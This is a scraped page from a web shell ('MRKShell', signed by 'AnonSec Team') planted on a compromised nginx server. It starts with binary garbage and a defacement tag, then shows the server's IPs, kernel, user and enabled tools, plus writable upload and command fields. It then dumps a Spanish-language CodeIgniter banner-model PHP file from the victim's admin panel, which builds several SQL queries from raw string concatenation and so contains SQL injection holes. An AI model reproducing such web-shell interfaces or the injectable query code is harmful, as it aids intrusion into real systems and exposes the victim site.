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BGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 172.71.28.167
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/hitadmin/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/hitadmin/application/models/Banner_md.php
<?php 
class Banner_md extends CI_Model{
	
	function __construct() {
        parent::__construct();
        $this->load->database();
        $this->nombre = "";
		$this->posicion_id='NULL';
		$this->seccion_id = 'NULL';
		$this->lugar='NULL';
		$this->tag="";
		$this->fecha_inicio= 'NULL';
		$this->fecha_fin = 'NULL';
		$this->habilitado= "0";
		$this->fechaalta = date("Y-m-d H:i:s");
		$this->usuario_id= 0;
		$this->tipo_banner = "NULL";
		$this->archivo= "NULL";
		$this->alto = "NULL";
		$this->ancho= "NULL";
		$this->clicktag = "NULL";
    } 

	public function dameListado()
	{
		
		$sql = "select b.id, b.nombre, b.posicion_id, b.seccion_id, b.tema_id, bp.lugar, b.fecha_inicio, 
		b.fecha_fin, b.habilitado, b.refresh, t.nombre as seccion, bp.nombre as posicion, t2.nombre as tema, b.archivo, b.alto,b.ancho,b.tag,b.clicktag,b.tipo_banner
		from banner b 
		inner join banner_posicion bp on (bp.id = b.posicion_id) 
		left join tag t on (t.id = b.seccion_id and t.tipo_id = 5) 
		left join tag t2 on (t2.id = b.tema_id and t2.tipo_id = 3) 
		where 1=1 and b.habilitado = 1
		order by b.id desc";

		$query=$this->db->query($sql);

            if($query->num_rows()>0)
            {
                foreach($query->result() as $fila)
				{
		    		$data[] = $fila;
				}
                    return $data;
            }		

	} 
	
	public function dameTotal($filtro)
	{
		$this->db->select("id");
		$this->db->from("banner");
		if ($filtro['habilitado'] != "")
		{
			$habilitado = ($filtro['habilitado']==true)?1:0;
			$this->db->where("habilitado",$habilitado);
		}
		if ($filtro['ubicacion'] != "")
		{
			$this->db->where("posicion_id",$filtro['ubicacion']);
		}
			
		$query = $this->db->get();
		return $query->num_rows();
	}
	
	public function damePosiciones()
	{
		$this->db->select("id, nombre");
		$this->db->from("banner_posicion");
		//$this->db->order_by("nombre");
		$query = $this->db->get();
		$res = $query->result_array();
		if ($num=$query->num_rows() > 0)
		{
			return '({"total":"'.$num.'","rows":'.json_encode($res).'})';
		}
		else
			return '({"total":"0","rows":""})';
	}
	
	public function dameSecciones($form=0)
	{
		/*$this->db->select("id, nombre");
		$this->db->from("seccion");
		$this->db->where("habilitada",1);
		$this->db->order_by("nombre");
		$query = $this->db->get();*/
		$sql = "select id, nombre from tag where tipo_id=5 and habilitado=1 order by nombre";
		$query = $this->db->query($sql);
		$res = $query->result_array();
		if ($num=$query->num_rows() > 0)
		{
			$secciones = array();
			$sec['id'] = 1;
			$sec['nombre'] = "Home";
			$secciones[] = $sec;

			//Servicios
			$sec_serv['id'] = -3;
			$sec_serv['nombre'] = "Comunidad";
			$secciones[] = $sec_serv;
			
			//Servicios
			$sec_serv['id'] = 411;
			$sec_serv['nombre'] = "Servicios";
			$secciones[] = $sec_serv;

			//UM
			$sec_serv['id'] = 412;
			$sec_serv['nombre'] = "Ultimo Momento";
			$secciones[] = $sec_serv;

			foreach ($res as $seccion)
			{
				$secciones[] = $seccion;
			}
			return '({"total":"'.$num.'","rows":'.json_encode($secciones).'})';
		}
		else
			return '({"total":"0","rows":""})';
	}
	
	public function validaPosicion($ubicacion_id, $seccion_id)
	{
		$this->db->select("id");
		$this->db->from("banner");
		$this->db->where("posicion_id",$ubicacion_id);
		$this->db->where("seccion_id",$seccion_id);
		$query = $this->db->get();
		if ($query->num_rows() > 0)
			return false;
		else
			return true;
	}
	
	public function insert()
	{
		$sql='INSERT INTO banner (nombre,posicion_id,seccion_id,lugar,tag,fecha_inicio,fecha_fin,habilitado,fechaalta,usuario_id,tipo_banner,archivo,alto,ancho,clicktag) VALUE (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)';
		$this->db->query($sql,array($this->nombre,$this->posicion_id,$this->seccion_id,$this->lugar,$this->tag,$this->fecha_inicio,$this->fecha_fin,$this->habilitado,$this->fechaalta,$this->usuario_id,$this->tipo_banner,$this->archivo,$this->alto,$this->ancho,$this->clicktag));
	}
	
	public function update($id)
	{
		$sql='UPDATE banner SET nombre=?,
								posicion_id=?,
								seccion_id=?,
								lugar=?,
								tag=?,
								fecha_inicio=?,
								fecha_fin=?,
								habilitado=?,
								fechaalta=?,
								usuario_id=?,
								tipo_banner=?,
								archivo=?,
								alto=?,
								ancho=?,
								clicktag=?
								WHERE id=?';
		$this->db->query($sql,array($this->nombre,$this->posicion_id,$this->seccion_id,$this->lugar,$this->tag,$this->fecha_inicio,$this->fecha_fin,$this->habilitado,$this->fechaalta,$this->usuario_id,$this->tipo_banner,$this->archivo,$this->alto,$this->ancho,$this->clicktag,$id));
		
	}
	
	public function buscarPorId($banner_id)
	{
		$this->db->select("nombre, tema_id, posicion_id, lugar, tag, post, fecha_inicio, fecha_fin, habilitado, ancho, alto, tipo_banner, clicktag");
		$this->db->from("banner");
		$this->db->where("id",$banner_id);
		$query = $this->db->get();
		
		if($query->num_rows()>0){
			$res = $query->result_array();
			return $res[0];
		}
		else
			return FALSE;
		
	}
	
	public function delete($banner_id)
	{
		$this->db->where("id", $banner_id);
		if ($this->db->delete("banner"))
			return true;
		else
			return false;
	}
	
	public function dameSeccionBanner($banner_id)
	{
		$this->db->select("seccion_id");
		$this->db->from("banner");
		$this->db->where("id",$banner_id);
		$query = $this->db->get();
		$res = $query->result();
		return $res[0]->seccion_id;
	}
	
	public function dameTemaBanner($banner_id)
	{
		$this->db->select("lugar");
		$this->db->from("banner");
		$this->db->where("id",$banner_id);
		$query = $this->db->get();
		if ($query->num_rows() > 0)
		{
			$res = $query->result();
			return $res[0]->lugar;
		}
		else
			return false;
	}

	public function dameLugarBanner($banner_id)
	{
		$this->db->select("tema_id");
		$this->db->from("banner");
		$this->db->where("id",$banner_id);
		$query = $this->db->get();
		$res = $query->result();
		return $res[0]->tema_id;
	}
	
	public function dameEstadoSistemaBanner()
	{
		$this->db->select("consultar");
		$this->db->from("banner_estado_gral");
		$this->db->limit(1);
		$query = $this->db->get();
		$res = $query->result();
		return $res[0]->consultar;
	}
	
	public function modificaEstadoSistemaBanner($valor)
	{
		$dato['consultar'] = $valor;
		if ($this->db->update("banner_estado_gral",$dato))
			return true;
		else
			return false;
	}
	
	/*Metodos para ubicaciones de banners*/
	public function dameListadoUbicaciones()
	{
		$sql="select id, nombre, lugar,nombre_ubicacion, habilitada
				from banner_posicion
				order by id desc";

		$query=$this->db->query($sql);

            if($query->num_rows()>0)
            {
                foreach($query->result() as $fila)
				{
		    		$data[] = $fila;
				}
                    return $data;
            }		

	}
	
	public function dameTotalUbicaciones($filtro)
	{
		$this->db->select("id");
		$this->db->from("banner_posicion");
		if ($filtro != "")
		{
			$this->db->like("nombre",$filtro);
		}
		$query = $this->db->get();
		return $query->num_rows();
	}
	
	public function updateUbicacion($datos, $posicion_id)
	{
		$this->db->where("id",$posicion_id);
		if ($this->db->update("banner_posicion",$datos))
			return true;
		else
			return false;
	}
	
	public function deletePosicion($posicion_id)
	{
		$this->db->trans_begin();
		
		$consulta1 = "DELETE FROM banner WHERE posicion_id = ".$posicion_id;
		$consulta2 = "DELETE FROM banner_posicion WHERE id = ".$posicion_id;
		
		if ($this->db->query($consulta1))
		{
			if ($this->db->query($consulta2))
			{
				$this->db->trans_commit();
				return true;
			}
			else
			{
				$this->db->trans_rollback();
				return false;
			}
		}
		else
			return false;
	}
	
	public function insertPosicion()
	{
		$sql='INSERT INTO banner_posicion (nombre,nombre_ubicacion,lugar) VALUE (?,?,?)';
		$this->db->query($sql,array($this->nombre,$this->nombre_ubicacion,$this->lugar));
		
	}
	/*************************************/
	
	/*Para preview*/
	public function estadoBanners()
	{
		$this->db->select("consultar");
		$this->db->from("banner_estado_gral");
		$this->db->limit(1);
		$query = $this->db->get();
		$res = $query->result();
		if ($res[0]->consultar == 1)
			return true;
		else
			return false;
	}
	
	public function dameBanners($seccion_id, $lugar)
	{
		$sql = "select b.pre, b.post, b.tag, b.posicion_id, bp.nombre as ubicacion 
		       from banner b 
		       inner join banner_posicion bp on (bp.id = b.posicion_id)
		       where b.habilitado = 1 and bp.habilitada = 1 and b.seccion_id = ".$seccion_id;
		
		if ($lugar == 1 or $lugar == 2)
			$sql .= " and b.lugar in ($lugar,3)";
					 
		$sql .= " order by b.fechaalta desc";
		$query = $this->db->query($sql);
		$res = $query->result_array();
		$banners = array();
		if (count($res) > 0)
		{
			foreach ($res as $resultado)
			{
				$banners[$resultado['posicion_id']] = array("pre"=>$resultado['pre'], "post"=>$resultado['post'],
				                                           "tag"=>$resultado['tag']);
			}
		}
		return $banners;
	}
	/*Fin preview*/

	public function damePosicionesRelaciondas($seccion_id)
	{
		$sql="select b.id, p.nombre, b.orden from banner_posicion as p inner join banner_posicion_seccion as b 
		on b.posicion_id= p.id where b.seccion_id= ".$seccion_id." and b.habilitado=1";
		$sql.= " order by orden asc";
		$query=$this->db->query($sql);
		if($query->num_rows()>0)
		{
			$res = $query->result_array();
			return $res;
		}else
			return false;
	}

	public function damePosicionesRelacionar($seccion_id,$valor="")
	{
		$ids= $this->damePosRelac($seccion_id);
		$not_in="";
		$sql="select p.id, p.nombre from banner_posicion as p where 1=1";
		if($valor!="")
		{
			$sql.= " and p.nombre like '%".$valor."%'";
		}
		if($ids and is_array($ids))
		{
			foreach ($ids as $id)
				{
					$not_in .= $id['posicion_id'].",";
				}
				$not_in = substr($not_in,0,strlen($not_in)-1);
				$sql .= " and id not in ($not_in)";
		}
		$query=$this->db->query($sql);
		if($query->num_rows() > 0)
		{
			$res=$query->result_array();
			return $res;
		}else 
			return false;

	}

	public function damePosRelac($seccion_id)
	{
		$sql= "select posicion_id from banner_posicion_seccion where seccion_id= ".$seccion_id;
		$query=$this->db->query($sql);
		if($query->num_rows() > 0)
		{
			$res=$query->result_array();
			return $res;
		}else 
			return false;
			
	}

	public function relacionarPosicion($seccion_id,$posicion_id)
	{
		$datos['seccion_id'] = $seccion_id;
		$datos['posicion_id'] = $posicion_id;
		$datos['habilitado'] = 1 ;
		if ($this->db->insert("banner_posicion_seccion",$datos))
			return true;
		else
			return false;
	}

	public function eliminarRelacionSeccion($seccion_id,$posicion_id)
	{
		$this->db->where("seccion_id",$seccion_id);
		$this->db->where("posicion_id",$posicion_id);
		if ($this->db->delete("banner_posicion_seccion"))
			return true;
		else
			return false;
	}

	public function updatePosSec($id,$datos)
	{
		$this->db->where('id',$id);
		if ($this->db->update("banner_posicion_seccion",$datos))
			return true;
		
		else
			return false;
	}

	public function datos_preview($banner_id)
	{
		$sql="select b.archivo, b.alto, b.ancho, b.tipo_banner from banner b where b.id= ".$banner_id;
		$query=$this->db->query($sql);
		if ($query->num_rows() >0) {
			$res=$query->result_array();
			return $res[0];
		}else
			return false;
	}

	public function listarSecciones()
	{
		$this->db->where("tipo_id","5");
		$this->db->where("habilitado","1");
		$query=$this->db->get("tag");
		if($query->num_rows>0)
		{
			$res=$query->result_array();
			return $res;
		}
		else
			return FALSE;
	}

	public function insertarTag($datos)
	{
		if($this->db->insert('banner_seccion',$datos))
			return TRUE;
		else
			return FALSE;
	}

	public function eliminarTags($banner_id)
	{
		$this->db->where('banner_id',$banner_id);
		if ($this->db->delete('banner_seccion'))
			return TRUE;
		else
			return FALSE;
	}

	public function dameSeccionesRelacionadas($id)
	{
		$sql="SELECT bs.*,t.id as id_seccion,t.nombre,t.id  FROM banner_seccion bs INNER JOIN tag t on (bs.seccion_id=t.id AND t.tipo_id=5 AND habilitado=1)
		WHERE bs.banner_id=".$id;
		$query=$this->db->query($sql);
		$resultado=$query->result_array();
		return $resultado;

	}

	public function dameArchivoBanner($id){
		$sql = "SELECT archivo
				FROM banner
				where id=?";
		$query = $this->db->query($sql,array($id));
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['archivo'];
		}
		else
			return false;
	}

	public function dameTipoBanner($id){
		switch ($id) {
                      case '1':
                         return 'GIF';
                         break;

                      case '2':
                         return 'SWF';
                         break;

                      case '3':
                         return 'JPEG';
                         break;

                      case '4':
                         return 'EXTERNO';
                         break;
                                          
                      default:
                         return '';
                         break;
                    }
	}


	public function dameBannerPorId($id){
		$sql="select b.id, b.nombre, b.posicion_id, b.seccion_id, b.tema_id, bp.lugar, b.fecha_inicio, 
		b.fecha_fin, b.habilitado, b.refresh, t.nombre as seccion, bp.nombre as posicion, t2.nombre as tema, b.archivo, b.alto,b.ancho,b.tag,b.clicktag,b.tipo_banner
		from banner b 
		inner join banner_posicion bp on (bp.id = b.posicion_id) 
		left join tag t on (t.id = b.seccion_id and t.tipo_id = 5) 
		left join tag t2 on (t2.id = b.tema_id and t2.tipo_id = 3) 
		where b.id=?";

		$query=$this->db->query($sql,array($id));

            if($query->num_rows()>0)
            {
                foreach($query->result() as $fila)
				{
		    		$data[] = $fila;
				}
                    return $data;
            }
	}

	public function dameTipo_Banner($id){
		$sql = "SELECT tipo_banner
				FROM banner
				where id=?";
		$query = $this->db->query($sql,array($id));
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['tipo_banner'];
		}
		else
			return false;
	}

	public function setHabilitar($hab,$id){
		$sql = "UPDATE banner SET habilitado = ? WHERE id = ? ";
				$query = $this->db->query($sql,array($hab,$id));
	}

	public function setNombre($nombre,$id){
		$sql = "UPDATE banner SET nombre=? WHERE id = ? ";
				$query = $this->db->query($sql,array($nombre,$id));
	}
	public function setPosicion($posicion,$id){
		$sql = "UPDATE banner SET posicion_id = ? WHERE id = ? ";
				$query = $this->db->query($sql,array($posicion,$id));
	}

}
?>

Anon7 - 2022
AnonSec Team